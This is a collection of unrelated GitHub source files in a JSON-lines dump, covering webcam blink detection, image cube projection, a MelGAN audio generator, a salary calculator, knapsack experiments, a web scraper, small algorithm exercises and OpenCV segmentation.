pour calculer le rapport d'aspect de l'oeil pour les deux yeux\n leftEye = shape[lStart:lEnd]\n rightEye = shape[rStart:rEnd]\n leftEAR = rapport_aspect_oeil(leftEye)\n rightEAR = rapport_aspect_oeil(rightEye)\n\n # moyenne du rapport d'aspect de l'oeil pour les deux yeux\n ear = (leftEAR + rightEAR) / 2.0\n\n # calculer la coque convexe pour l'oeil gauche et droit, puis visualiser chacun des yeux\n leftEyeHull = cv2.convexHull(leftEye)\n rightEyeHull = cv2.convexHull(rightEye)\n cv2.drawContours(frame, [leftEyeHull], -1, (0, 255, 0), 1)\n cv2.drawContours(frame, [rightEyeHull], -1, (0, 255, 0), 1)\n\n # verifier si le rapport d'aspect de l'oeil est en dessous du seuil du clignement\n # et si c'est le cas, on incremente le compteur de frame clignotant\n if ear < EAR_SEUIL:\n COUNTER += 1\n\n # sinon, le rapport d'aspect de l'oeil n'est pas inferieur au seuil de clignement\n else:\n # si les yeux etaient fermes pour un nombre suffisant de frame,\n # on incremente le nombre total de clignotements\n if COUNTER >= EAR_CONSEC_FRAMES:\n TOTAL += 1\n\n # reinitialiser le compteur des frames de l'oeil\n COUNTER = 0\n\n # faire un peu de nettoyage\n cv2.destroyAllWindows()\n vs.stop()\n return TOTAL\n \n\n\ndef video_record(capture):\n \"\"\"Ici nous enrégistrons la vidéo dans un format lisible en live depuis la webcam durant 30 secondes\"\"\"\n\n #Créer le dossier de sauvegarde des videos des attaques s'il n'existe pas sur le disque\n if not os.path.exists('videos_attaques'):\n os.mkdir('videos_attaques')\n # Définir le codec et créer l'objet VideoWritter\n video_format = cv2.VideoWriter_fourcc(*'XVID')\n #video_format = cv2.VideoWriter_fourcc(*'MJPG')\n video_name = time.strftime(\"%d-%m-%Y_%H:%I:%S\")+'.avi'\n video = cv2.VideoWriter('videos_attaques/'+video_name,video_format, 25, (640,480))\n\n duration = 10\n begin_time = int(time.time())\n elapsed_time = 0 \n\n\n while(capture.isOpened() and elapsed_time < duration):\n ret, frame = capture.read()\n if ret == True:\n frame = cv2.flip(frame,0)\n video.write(frame)\n else:\n break\n elapsed_time = int(time.time()) - begin_time\n\n capture.release()\n video.release()\n cv2.destroyAllWindows()\n\ndef video_saver():\n \"\"\"Ici nous sauvegardons le chemin vers la vidéo, la date et l'heure de son enrégistrement dans la base de données\"\"\"\n conn = sqlite3.connect('oudjat.db')\n cursor = conn.cursor()\n\n global video_name, date, time\n video_name = time.strftime(\"%d-%m-%Y_%H:%I:%S\")+'.avi'\n date = time.strftime(\"%A %d-%m-%Y\")\n time = time.strftime(\"%H:%I:%S %p\")\n cursor.execute(\"\"\"\n INSERT INTO attaques(videos, dates, heures) VALUES (?, ?, ?)\"\"\",('videos_attaques/'+video_name ,date, time))\n \n conn.commit()\n conn.close()\n \n\n\n\n","repo_name":"godwineHoungavou/oudjat-API","sub_path":"oudjat_API.py","file_name":"oudjat_API.py","file_ext":"py","file_size_in_byte":12076,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"25267106624","text":"from PIL import Image\nfrom numpy import clip\nfrom math import pi, atan2, hypot, floor\n\n\nclass CubeProjection:\n def __init__(self, imgIn, output_path):\n self.output_path = output_path\n self.imagin = imgIn\n self.sides = {\n 'back': None,\n 'left': None,\n 'front': None,\n 'right': None,\n 'top': None,\n 'bottom': None\n }\n\n def cube_projection(self):\n imgIn = self.imagin\n inSize = imgIn.size\n faceSize = int(inSize[0] / 4)\n\n FACE_NAMES = {\n 0: 'back',\n 1: 'left',\n 2: 'front',\n 3: 'right',\n 4: 'top',\n 5: 'bottom'\n }\n\n for face in range(6):\n imgOut = Image.new('RGB', (faceSize, faceSize), 'black')\n self.convertFace(imgIn, imgOut, face)\n if self.output_path != '':\n imgOut.save(self.output_path + FACE_NAMES[face] + '.jpg')\n else:\n self.sides[FACE_NAMES[face]] = imgOut\n\n def outImg2XYZ(self, i, j, faceIdx, faceSize):\n a = 2.0 * float(i) / faceSize\n b = 2.0 * float(j) / faceSize\n\n if faceIdx == 0: # back\n (x, y, z) = (-1.0, 1.0 - a, 1.0 - b)\n elif faceIdx == 1: # left\n (x, y, z) = (a - 1.0, -1.0, 1.0 - b)\n elif faceIdx == 2: # front\n (x, y, z) = (1.0, a - 1.0, 1.0 - b)\n elif faceIdx == 3: # right\n (x, y, z) = (1.0 - a, 1.0, 1.0 - b)\n elif faceIdx == 4: # top\n (x, y, z) = (b - 1.0, a - 1.0, 1.0)\n elif faceIdx == 5: # bottom\n (x, y, z) = (1.0 - b, a - 1.0, -1.0)\n return (x, y, z)\n\n def convertFace(self, imgin, imgout, faceIdx):\n inSize = imgin.size\n outsize = imgout.size\n inpix = imgin.load()\n outpix = imgout.load()\n facesize = outsize[0]\n\n for xout in range(facesize):\n for yout in range(facesize):\n (x, y, z) = self.outImg2XYZ(xout, yout, faceIdx, facesize)\n theta = atan2(y, x) # range -pi to pi\n r = hypot(x, y)\n phi = atan2(z, r) # range -pi/2 to pi/2\n\n # source img coords\n uf = 0.5 * inSize[0] * (theta + pi) / pi\n vf = 0.5 * inSize[0] * (pi / 2 - phi) / pi\n\n # Use bilinear interpolation between the four surrounding pixels\n ui = floor(uf) # coord of pixel to bottom left\n vi = floor(vf)\n u2 = ui + 1 # coords of pixel to top right\n v2 = vi + 1\n mu = uf - ui # fraction of way across pixel\n nu = vf - vi\n\n # Pixel values of four corners\n A = inpix[int(ui % inSize[0]), int(clip(vi, 0, inSize[1] - 1))]\n B = inpix[int(u2 % inSize[0]), int(clip(vi, 0, inSize[1] - 1))]\n C = inpix[int(ui % inSize[0]), int(clip(v2, 0, inSize[1] - 1))]\n D = inpix[int(u2 % inSize[0]), int(clip(v2, 0, inSize[1] - 1))]\n\n # interpolate\n (r, g, b) = (\n A[0] * (1 - mu) * (1 - nu) + B[0] * (mu) * (1 - nu) + C[0] * (1 - mu) * nu + D[0] * mu * nu,\n A[1] * (1 - mu) * (1 - nu) + B[1] * (mu) * (1 - nu) + C[1] * (1 - mu) * nu + D[1] * mu * nu,\n A[2] * (1 - mu) * (1 - nu) + B[2] * (mu) * (1 - nu) + C[2] * (1 - mu) * nu + D[2] * mu * nu)\n\n outpix[xout, yout] = (int(round(r)), int(round(g)), int(round(b)))\n","repo_name":"sepideh-shamsizadeh/AutoLabeling","sub_path":"src/util/cube_projection.py","file_name":"cube_projection.py","file_ext":"py","file_size_in_byte":3561,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"21272491707","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom .res_stack import ResStack\n# from res_stack import ResStack\n\nMAX_WAV_VALUE = 32768.0\n\n\nclass Generator(nn.Module):\n def __init__(self, mel_channel):\n super(Generator, self).__init__()\n self.mel_channel = mel_channel\n\n self.generator = nn.Sequential(\n nn.ReflectionPad1d(3),\n nn.utils.weight_norm(nn.Conv1d(mel_channel, 512, kernel_size=7, stride=1)),\n\n nn.LeakyReLU(0.2),\n nn.utils.weight_norm(nn.ConvTranspose1d(512, 256, kernel_size=16, stride=8, padding=4)),\n\n ResStack(256),\n\n nn.LeakyReLU(0.2),\n nn.utils.weight_norm(nn.ConvTranspose1d(256, 128, kernel_size=16, stride=8, padding=4)),\n\n ResStack(128),\n\n nn.LeakyReLU(0.2),\n nn.utils.weight_norm(nn.ConvTranspose1d(128, 64, kernel_size=4, stride=2, padding=1)),\n\n ResStack(64),\n\n nn.LeakyReLU(0.2),\n nn.utils.weight_norm(nn.ConvTranspose1d(64, 32, kernel_size=4, stride=2, padding=1)),\n\n ResStack(32),\n\n nn.LeakyReLU(0.2),\n nn.ReflectionPad1d(3),\n nn.utils.weight_norm(nn.Conv1d(32, 1, kernel_size=7, stride=1)),\n nn.Tanh(),\n )\n\n def forward(self, mel):\n mel = (mel + 5.0) / 5.0 # roughly normalize spectrogram\n return self.generator(mel)\n\n def eval(self, inference=False):\n super(Generator, self).eval()\n\n # don't remove weight norm while validation in training loop\n if inference:\n self.remove_weight_norm()\n\n def remove_weight_norm(self):\n for idx, layer in enumerate(self.generator):\n if len(layer.state_dict()) != 0:\n try:\n nn.utils.remove_weight_norm(layer)\n except:\n layer.remove_weight_norm()\n\n def inference(self, mel):\n hop_length = 256\n # pad input mel with zeros to cut artifact\n # see https://github.com/seungwonpark/melgan/issues/8\n zero = torch.full((1, self.mel_channel, 10), -11.5129).to(mel.device)\n mel = torch.cat((mel, zero), dim=2)\n\n audio = self.forward(mel)\n audio = audio.squeeze() # collapse all dimension except time axis\n audio = audio[:-(hop_length*10)]\n audio = MAX_WAV_VALUE * audio\n audio = audio.clamp(min=-MAX_WAV_VALUE, max=MAX_WAV_VALUE-1)\n audio = audio.short()\n\n return audio\n\n\n'''\n to run this, fix \n from . import ResStack\n into\n from res_stack import ResStack\n'''\nif __name__ == '__main__':\n model = Generator(80)\n\n x = torch.randn(3, 80, 10)\n print(x.shape)\n\n y = model(x)\n print(y.shape)\n assert y.shape == torch.Size([3, 1, 2560])\n\n pytorch_total_params = sum(p.numel() for p in model.parameters() if p.requires_grad)\n print(pytorch_total_params)","repo_name":"kuangdd/ttskit","sub_path":"ttskit/melgan/model/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","stars":869,"dataset":"github-code","pt":"50"} +{"seq_id":"33983567534","text":"class Atividade_06:\n\n sm = 998.0\n ir = 0.0\n\n nome = str(input(\"Digite o nome do funcionário: \"))\n horas = int(input(\"Digite as horas trabalhadas: \"))\n\n extra = 15.73 * horas\n sb = (sm + sm) + extra\n\n if(sb <= 28226.65):\n ir = 0.075\n elif(sb > 2826.66 and sb < 3751.05):\n ir = 0.15\n elif(sb > 3751.06 and 4664.08):\n ir = 0.255\n else:\n ir = 0.275\n\n if (sb <= 2919.72):\n inss = 0.09\n else:\n inss = 0.11\n\n sl = sb-((sb*inss)+(sb*ir))\n\n print(nome + \", seu salario bruto é de R$\", sb)\n print(nome + \", seu salario bruto é de R$\", sl)\n","repo_name":"carlosalexandredev/exercises-general-languages","sub_path":"Python/Exercicio06/Atividade_06.py","file_name":"Atividade_06.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"33595887308","text":"#%% VS Code Notebook\nimport functools\nimport numpy as np\nimport pandas as pd\n\nfrom ortools.algorithms import pywrapknapsack_solver\n# %% Cell based on docs: https://developers.google.com/optimization/bin/knapsack\nsolver = pywrapknapsack_solver.KnapsackSolver(\n pywrapknapsack_solver.KnapsackSolver.KNAPSACK_MULTIDIMENSION_BRANCH_AND_BOUND_SOLVER, \n 'OnlineInfnitesimalKnapsackSolver',\n)\n\nvalues = [\n 360.1, 83.5, 59, 130.7, 431, 67, 231, 52, 93, 125\n]\nweights = [[\n 0.1, 0.2, 0.2, 0.1, 0.2, 0.1, 0.3, 0.1, 0.1, 0.2\n]]\ncapacities = [1]\n\nsolver.Init(values, weights, capacities)\nbest_value = solver.Solve()\nbest_value\n# %%\n# transform [0,1) random to (0,epsilon] and return\ndef sample_infnitesimal_weight(epsilon,size=None):\n return ((np.random.random(size=size)*-1)+1)*epsilon\n\nsample_infnitesimal_weight(0.1)\n# %%\nsample_value = np.random.uniform\nsample_value(5,10,size=5)\n#%%\n@functools.lru_cache(maxsize=100)\ndef beta(p_min,p_max):\n return 1/(1+np.log(p_max/p_min))\n\ndef phi(y,p_min,p_max):\n beta_star = beta(p_min,p_max)\n if y=pt and weight+y<=1: # accept\n total_value += value\n y += weight\n chosen.append(i)\n\n return total_value,chosen\n# %%\n# Parameters:\nepsilon = 1\ntrials = 10000\nitems = 50\n\np_max = 101\np_min = 100\n\nsolver = pywrapknapsack_solver.KnapsackSolver(\n pywrapknapsack_solver.KnapsackSolver.KNAPSACK_MULTIDIMENSION_BRANCH_AND_BOUND_SOLVER, \n 'OnlineInfnitesimalKnapsackSolver',\n)\n\nrows = []\n# Solver doesn't do well with small numbers for values since it casts them to int64_t\nscale_factor = 10_000_000\nfor i in range(trials):\n\n weights = sample_infnitesimal_weight(epsilon,size=items)\n values = sample_value(p_min,p_max,size=items)*weights\n density = values/weights\n capacities = np.array([1])\n\n solver.Init(\n (values*scale_factor).tolist(), \n [(weights*scale_factor).tolist()], \n (capacities*scale_factor).tolist(),\n )\n best_value = solver.Solve()/scale_factor\n best_chosen = [i for i in range(len(weights)) if solver.BestSolutionContains(i)]\n\n online_value,online_chosen = threshold_algorithm(p_min,p_max,weights,values)\n\n rows.append({\n 'online_value':online_value,\n 'best_value':best_value,\n })\n\ndf = pd.DataFrame(rows)\nimperical_ratio = df['best_value'].mean()/df['online_value'].mean()\nprint('Empirical Ratio:',imperical_ratio)\nprint('Theoretical Ratio:',1 + np.log(p_max/p_min))\n# %%\n\n# %%\n","repo_name":"sazzy4o/OnlineKnapsackProblemQuestions","sub_path":"b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":2784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"11082984178","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom ..items import SinaIaskItem\n\nclass SinaSpiderSpider(scrapy.Spider):\n name = 'sina_spider'\n # allowed_domains = ['https://iask.sina.com.cn/c/74.html']\n start_urls = ['https://iask.sina.com.cn/c/74.html']\n\n def parse(self, response):\n next_url = 'https://iask.sina.com.cn' + response.xpath('//a[@class=\"btn-page\"]/@href').extract()[0]\n detail_url_list = response.xpath('//div[@class=\"question-title\"]/a/@href').extract()\n if detail_url_list:\n for i in detail_url_list:\n detail_url = 'https://iask.sina.com.cn' + i\n yield scrapy.Request(url=detail_url, callback=self.detail_parse)\n if next_url:\n yield scrapy.Request(url=next_url, callback=self.parse)\n\n def detail_parse(self, response):\n items = SinaIaskItem()\n question = response.xpath('//pre[@class=\"question-text\"]/text()').extract()\n answer_List = response.xpath('//ul[@class=\"new-answer-list\"]/li')\n if question:\n items['question'] = question\n if not answer_List:\n return None\n for answer_index in answer_List:\n answer_time = answer_index.xpath('.//p[@class=\"time\"]/text()').extract()[0]\n answer = answer_index.xpath('.//pre/text()').extract()[0]\n answer_person = answer_index.xpath('.//p[@class=\"user-name\"]/a/text()').extract()[0]\n if answer:\n items['answer'] = answer\n if answer_person:\n items['answer_person'] = answer_person\n if answer_time:\n items['answer_time'] = answer_time\n return items","repo_name":"xujunlin/python_project","sub_path":"sina_iask/sina_iask/spiders/sina_spider.py","file_name":"sina_spider.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"72853670876","text":"# import word_category_counter\n##############\n# Alex Lang\n# Conor Rogers\n#\n# HW 6\n#\n# CULL WORDS\n#\trecieves a correct answer sentence, eliminates extraneous words (w/ respect to Answer)\n##############\n\nimport re, nltk, argparse\nfrom nltk.stem.wordnet import WordNetLemmatizer\n\ndef get_words_tags(text):\n words = []\n tags = []\n # tokenization for each sentence\n for sent in nltk.sent_tokenize(text): \n for word, pos in nltk.pos_tag(nltk.word_tokenize(sent)):\n checked_word = normalize(word)\n if checked_word is None:\n continue\n words.append(checked_word)\n tags.append(pos)\n return words, tags\n\ndef get_bi_tags(bigram):\n words = []\n tags = []\n for word, pos in nltk.pos_tag(bigram):\n words.append(checked_word)\n tags.append(pos)\n return tags\n\n#keeps the keep_words\ndef normalize(token):\n keep_words = ['the','a','to','of','on']\n stopwords = [x for x in nltk.corpus.stopwords.words('english') if x not in keep_words]\n if token.lower() not in stopwords and re.search(r'\\w', token):\n return token.lower()\n return None\n\ndef get_bigram(tokens):\n # uni = tokens\n bi = nltk.bigrams(tokens)\n # tri = nltk.trigrams(tokens)\n return bi\n\n#returns lemma of word added \ndef lemmatizer(tokens):\n lem_tokens = []\n # this little bit is because wordnet lemmas don't play nicely with things verb infinitives....... [very rough fix\n second_form_same_vinfinitive = [('felt','feel'),('fell','fall'),('stood','stand')]\n\n vinfinitive_check = [a for (a,b) in second_form_same_vinfinitive]\n for token in tokens:\n for (a,b) in second_form_same_vinfinitive:\n if a == token:\n lem_tokens += [b]\n if token not in vinfinitive_check:\n lem_tokens += [WordNetLemmatizer().lemmatize(token,'v')]\n\n return lem_tokens\n\n#roughly determines what tag would fit the question...\ndef determine_type(question):\n q = question.lower()\n if 'what' in q:\n if 'did' in q:\n if 'have' in q:\n return ['DT','NN','IN']\n return ['VBN','VBD','NN']\n\n if 'if' in q:\n return ['PRP','DT','NN','NNS','NNP','NNPS','JJ']\n if (len(question.split())) == 1:\n return ['sentence']\n return ['NN','NNP','DT','JJ']\n if 'who' in q:\n if 'they' in q:\n return ['NNS', 'NNPS']\n # if 'was' in q:\n # return ['NNP','DT']\n return ['NN','NNP','DT']\n if 'how' in q:\n return ['PRP','DT','NN','NNS','NNP','NNPS','JJ']\n if 'when' in q:\n return ['CD','NN','JJ']\n if 'where' in q:\n return ['NN','NNP','DT', 'IN']\n if'why' in q:\n return ['NN','VBD']\n return ['ambiguous']\n\n#culls all words without the correct tag (determined by determine_type())\ndef get_correct_words(qtype,sentence_words,sentence_tags):\n ans = []\n for x in range(len(sentence_words)):\n if sentence_tags[x] in qtype:\n if sentence_words[x] not in ans:\n ans += [sentence_words[x]]\n\n if ans == []:\n ans = ['']\n\n return ans\n\n#\ndef cull(question, sentence):\n qtype = determine_type(question)\n\n # print(question + '-> ' + str(qtype))\n sentence_words, sentence_tags = get_words_tags(sentence)\n question_words, question_tags = get_words_tags(question)\n # print(str(sentence_words) + ' ' + str(sentence_tags))\n # bi_sentence_words = get_bigram(sentence_words)\n # print(get_bi_tags(bi_sentence_words))\n # print(str(sentence_words) + ' ' + str(sentence_tags))\n # print(str(question_words) + ' ' + str(question_tags))\n # print(sentence_words)\n # print(sentence_tags)\n # lemma_sentence = lemmatizer(sentence_words)\n # lemma_question = lemmatizer(question_words)\n if (qtype[0] != 'ambiguous') or (qtype[0] != 'sentence'):\n rough_ans = get_correct_words(qtype,sentence_words,sentence_tags)\n else:\n rough_ans = sentence_words\n \n # print(rough_ans)\n\n \n return rough_ans\n\nif __name__ == '__main__':\n cull('What did the crow feel?',' The crow felt that the fox had flattered her and cawed loudly in order for she to show him that she was able to sing.')\n cull('Who is the man?', 'The crow met The Man.')\n cull('when did I meet you?', 'The two met at 12:40, there was a giant football in the field and we danced')\n cull('Where was the crow sitting?','The crow was sitting on a branch of a tree')\n cull('Who was persuaded by this flattery?','The Bull was foolish enough to be persuaded by this flattery to have his horns cut off; and, having now lost his only means of defense, fell an easy prey to the Lion.')\n cull('Who was foolish?', 'There once was a fat bull.')\n cull('When did the G20 summit start?','A summit meeting named G20 summit started on eventful today.')\n cull(\"Why didn't the lion attack the bull?\",\"The lion didn't attack the bull because the lion feared sharp every horn of the bull.\")\n cull(\"What did the crow have in her beak?\",\"A Crow was sitting on a branch of a tree with a piece of cheese in her beak when a Fox observed her and set his wits to work to discover some way of getting the cheese.\")\n cull(\"What did the fox do to the cheese?\",\"The fox snatched the cheese, said that the crow was able to sing and the fox said that the crow needed wits.\")","repo_name":"GalaxyPickle/AI9000","sub_path":"hw6/cull_words.py","file_name":"cull_words.py","file_ext":"py","file_size_in_byte":5380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"14457355152","text":"#!/bin/python\ndef read(mode=2):\n inp = input().strip()\n if mode == 0: return inp\n if mode == 1: return inp.split()\n if mode == 2: return list(map(int,inp.split()))\n\nn = read()\ndemand = n[1]\n# 0 = W, 1 = C\ntemp = [read() for i in range(2)]\nd = [[temp[0][i],temp[1][i]] for i in range(n[0])]\n# sort by net price\nd.sort(key=lambda x: x[1]/x[0], reverse=True)\nt = 0.0\nfor i in range(n[0]):\n if demand <= 0.0:\n break\n else:\n # C/W\n net = d[i][1]/d[i][0]\n weight = d[i][0]\n t += min(weight,demand) * net\n demand -= min(weight,demand)\nprint('{:.5f}'.format(t))\n","repo_name":"IEP/submissions","sub_path":"ch13/ch13p64.py","file_name":"ch13p64.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"35180286630","text":"from Crypto.Cipher import AES\nimport sys\n\nencrypted_f=open(sys.argv[1], 'rb')\nlack_of_bytes=encrypted_f.readline()[:-1][0]\n\nobj=AES.new('This is a key123', AES.MODE_CBC, 'This is an IV456')\n\nb_initial_content=obj.decrypt(encrypted_f.readline())\ncontent=b_initial_content[:-lack_of_bytes]\ncontent=content.decode()\n\n\nencrypted_f.close()\n\nnew_file=open(sys.argv[2], 'wt')\nnew_file.write(content)\nnew_file.close()\n","repo_name":"hongmin0907/CS","sub_path":"OOP/design_pattern/decorator_test/decrypt.py","file_name":"decrypt.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"50"} +{"seq_id":"37455370189","text":"from django.urls import path, re_path\n\nfrom juris.views.legal_record import LegalRecordDetailView, LegalRecordListView\n\nurlpatterns = [\n path(\"\", LegalRecordListView.as_view(), name=\"legal_record_list\"),\n path(\n \"/\",\n LegalRecordDetailView.as_view(),\n name=\"legal_record_detail\",\n ),\n]\n","repo_name":"ildebr/software_juris","sub_path":"juris/urls/legal_record.py","file_name":"legal_record.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"8255301834","text":"def check(stones,k,mid):\n count = k\n for i in range(len(stones)):\n if stones[i] < mid:\n count -= 1\n else:\n count = k\n if count == 0:\n return False\n return True\n \ndef solution(stones, k):\n answer = 0\n left = 1\n right = max(stones)+1\n while left <= right:\n mid = (left + right) //2\n result = check(stones,k,mid)\n if result:\n left = mid+1\n answer = mid\n else:\n right = mid-1\n return answer\n","repo_name":"qkek984/Study","sub_path":"algorithm/programmers/stonesCrossing.py","file_name":"stonesCrossing.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"70496518555","text":"from django.urls import path, include\nfrom . import views\nfrom .views import Link_Create, Link_Update,Link_Delete,Link_List,Views_Form, Coments_List,Comentario_Delete\n\n\nurlpatterns = [\n path('',views.home, name=\"home\"),\n path('create/', Link_Create.as_view(), name=\"Link_Create\"),\n path('aparecer/', views.Link_Views, name=\"Link_Views\"),\n path('criarcometario/', Views_Form.as_view(), name=\"Views_Form\"),\n path('update//', Link_Update.as_view(), name=\"Link_Update\"),\n path('delete//', Link_Delete.as_view(), name=\"Link_Delete\"),\n path('deleteduvidas//', Comentario_Delete.as_view(), name=\"deleteduvidas\"),\n path('list/', Link_List.as_view(), name=\"Link_List\"),\n path('listduvidas/', Coments_List.as_view(), name=\"Coments_List\"),\n path('listduvidas/detalhes//', views.Detalhe_comentario, name=\"Detalhe_comentario\")\n]","repo_name":"luismontei/Classnoob","sub_path":"plataforma/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"42270115111","text":"from collections import deque, defaultdict\r\nfrom copy import deepcopy\r\nfrom itertools import permutations, combinations\r\nimport sys\r\ninput=sys.stdin.readline\r\n\r\neggs=[]\r\np=[]\r\nt=int(input())\r\ncnt=0\r\n\r\nfor i in range(t):\r\n eggs.append(list(map(int,input().split())))\r\n\r\ndef dfs(L):\r\n global cnt\r\n Allbreak=True\r\n if L==t:\r\n count=0\r\n for i in range(t):\r\n if eggs[i][0]<=0:\r\n count+=1\r\n cnt=max(cnt,count)\r\n return\r\n else:\r\n now=eggs[L]\r\n \r\n\r\n if now[0]<=0:\r\n dfs(L+1)\r\n return\r\n \r\n for i in range(t):\r\n if i==L:\r\n continue\r\n if eggs[i][0]>0:\r\n Allbreak=False\r\n break\r\n\r\n\r\n if Allbreak:\r\n cnt=max(cnt,t-1)\r\n return\r\n\r\n for i in range(t):\r\n if i==L:\r\n continue\r\n if eggs[i][0]<=0:\r\n continue\r\n eggs[i][0]-=now[1]\r\n now[0]-=eggs[i][1]\r\n dfs(L+1)\r\n eggs[i][0]+=now[1]\r\n now[0]+=eggs[i][1]\r\n\r\n\r\ndfs(0)\r\nprint(cnt)\r\n\r\n","repo_name":"jaesung4231/backjoon_study","sub_path":"백준/Gold/16987. 계란으로 계란치기/계란으로 계란치기.py","file_name":"계란으로 계란치기.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"36779136583","text":"import numpy as np\r\nimport cv2\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef open_picture(windowname, img):\r\n\r\n cv2.imshow(windowname, img)\r\n cv2.waitKey(0)\r\n cv2.destroyAllWindows()\r\n\r\n\r\n\r\ndef addweighted(img1, weight_num1, img2, weight_num2, gamma):\r\n\r\n dst = cv2.addWeighted(img1, weight_num1, img2, weight_num2, gamma)\r\n cv2.imshow('addweighted', dst)\r\n cv2.waitKey(0)\r\n cv2.destroyAllWindows()\r\n return dst\r\n\r\n\r\ndef sobel(img): \r\n\r\n x = cv2.Sobel(img, cv2.CV_16S, 1, 0)\r\n y = cv2.Sobel(img, cv2.CV_16S, 0, 1)\r\n \r\n absX = cv2.convertScaleAbs(x)\r\n absY = cv2.convertScaleAbs(y)\r\n\r\n dst = cv2.addWeighted(absX, 0.5, absY, 0.5, 0)\r\n\r\n cv2.imshow('sobel', dst)\r\n cv2.waitKey(0)\r\n cv2.destroyAllWindows()\r\n return dst\r\n\r\n\r\n\r\n\r\nfilename = \"./DIP/test.png\"\r\norigin_img = cv2.imread(filename)\r\nopen_picture('origin', origin_img)\r\n\r\nplt.imshow(origin_img)\r\nplt.show()\r\n\r\n\r\n#image segmentation \r\nltop = (990, 930) #lefttop(x,y)\r\nrtbm = (1430, 980) #rightbottom(x,y)\r\nimg_cap = origin_img[ltop[1]:rtbm[1], ltop[0]: rtbm[0]]#image segmentation(img[y,x])\r\nopen_picture('segment', img_cap)\r\ncv2.imwrite('./DIP/segmentation_img.png', img_cap)\r\n\r\n#RGB to Gray level\r\ngray_img = cv2.cvtColor(img_cap, cv2.COLOR_BGR2GRAY)\r\nopen_picture('graylevel', gray_img)\r\n\r\n#gaussian low pass filter\r\n#gaussian_img = cv2.GaussianBlur(gray_img, (5,5), 10) #decrease irrevalent feature\r\n#open_picture('gausssian', gaussian_img)\r\n\r\n#sobel\r\n#sobel_img = sobel(gaussian_img) #high pass filter that can enhance higher intensity part, eg:contour, edge, corner, etc.\r\n\r\n\r\n#gaussian\r\n#blurred_img = cv2.GaussianBlur(sobel_img, (9, 9),0) \r\n#ret, binary_img = cv2.threshold(blurred_img , 170, 255, cv2.THRESH_BINARY)\r\n\r\n\r\n#dilation and erosion1(erosion can delete detail, dilation can make contour more apparent)\r\n\r\n#element1 = cv2.getStructuringElement(cv2.MORPH_RECT, (9, 1))\r\n#element2 = cv2.getStructuringElement(cv2.MORPH_RECT, (9, 7))\r\n#fstdilation_img = cv2.dilate(Binary_img, element2, iterations = 1)\r\n#open_picture('dilation1', fstdilation_img)\r\n#erosion_img = cv2.erode(fstdilation_img, element1, iterations = 1)\r\n#open_picture('erosion', erosion_img)\r\n#sndilation_img = cv2.dilate(erosion_img, element2,iterations = 3)\r\n#open_picture('erosion and dilation',sndilation_img)\r\n\r\n\r\n#dilation and erosion1(erosion can delete detail, dilation can make contour more apparent)\r\n\r\n#kernel = np.ones((3,3),np.uint8)\r\n#ret, thresh_img = cv2.threshold(binary_img, 0, 255, cv2.THRESH_BINARY_INV+cv2.THRESH_OTSU) #OTSU+thresthod\r\n#opening_img = cv2.morphologyEx(thresh_img, cv2.MORPH_OPEN,kernel, iterations = 2) #more independent\r\n#fstdilation_img = cv2.dilate(opening_img, kernel, iterations = 1)\r\n#open_picture('dilation1', fstdilation_img)\r\n#erosion_img = cv2.erode(fstdilation_img, kernel, iterations = 1)\r\n#open_picture('erosion', erosion_img)\r\n#sndilation_img = cv2.dilate(erosion_img, kernel, iterations = 3)\r\n#open_picture('erosion and dilation',sndilation_img)\r\n\r\n\r\n#edge detection:\r\n#way1 canny\r\nlow_threshold = 0\r\nhigh_threshold = 255\r\nedged_img = cv2.Canny(gray_img, low_threshold, high_threshold)\r\nopen_picture('canny', edged_img)\r\n\r\n#way2findcontour\r\n#ret,gray_img = cv2.threshold(gray_img, 127, 255, 0)\r\n#contours, hierarchy = cv2.findContours(edged.copy(), cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\r\n#gray_img = cv2.drawContours(gray_img, contours, -1, (0,255,0), 3)\r\n#cv2.drawContours(gray_img, contours, -1, (0, 0, 255), 3)\r\n#open_picture(gray_img)\r\n\r\n\r\n\r\n#way3 watershed\r\n#gray_img = cv2.GaussianBlur(gray_img, (3, 3), 0)\r\n#gray_img = cv2.GaussianBlur(gray_img, (3, 3), 0)\r\n#gray_img = cv2.GaussianBlur(gray_img, (3, 3), 0)\r\n#ret, thresh = cv2.threshold(gray_img, 0, 255, cv2.THRESH_BINARY_INV+cv2.THRESH_OTSU) #OTSU+thresthod\r\n#open_picture(thresh)\r\n\r\n# noise removal\r\n#kernel = np.ones((3,3), np.uint8)\r\n#opening = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel, iterations = 2) #more independent\r\n#open_picture(opening)\r\n\r\n\r\n# sure background area\r\n#sure_bg = cv2.dilate(opening, kernel, iterations=3)\r\n#open_picture(sure_bg)\r\n\r\n# Finding sure foreground 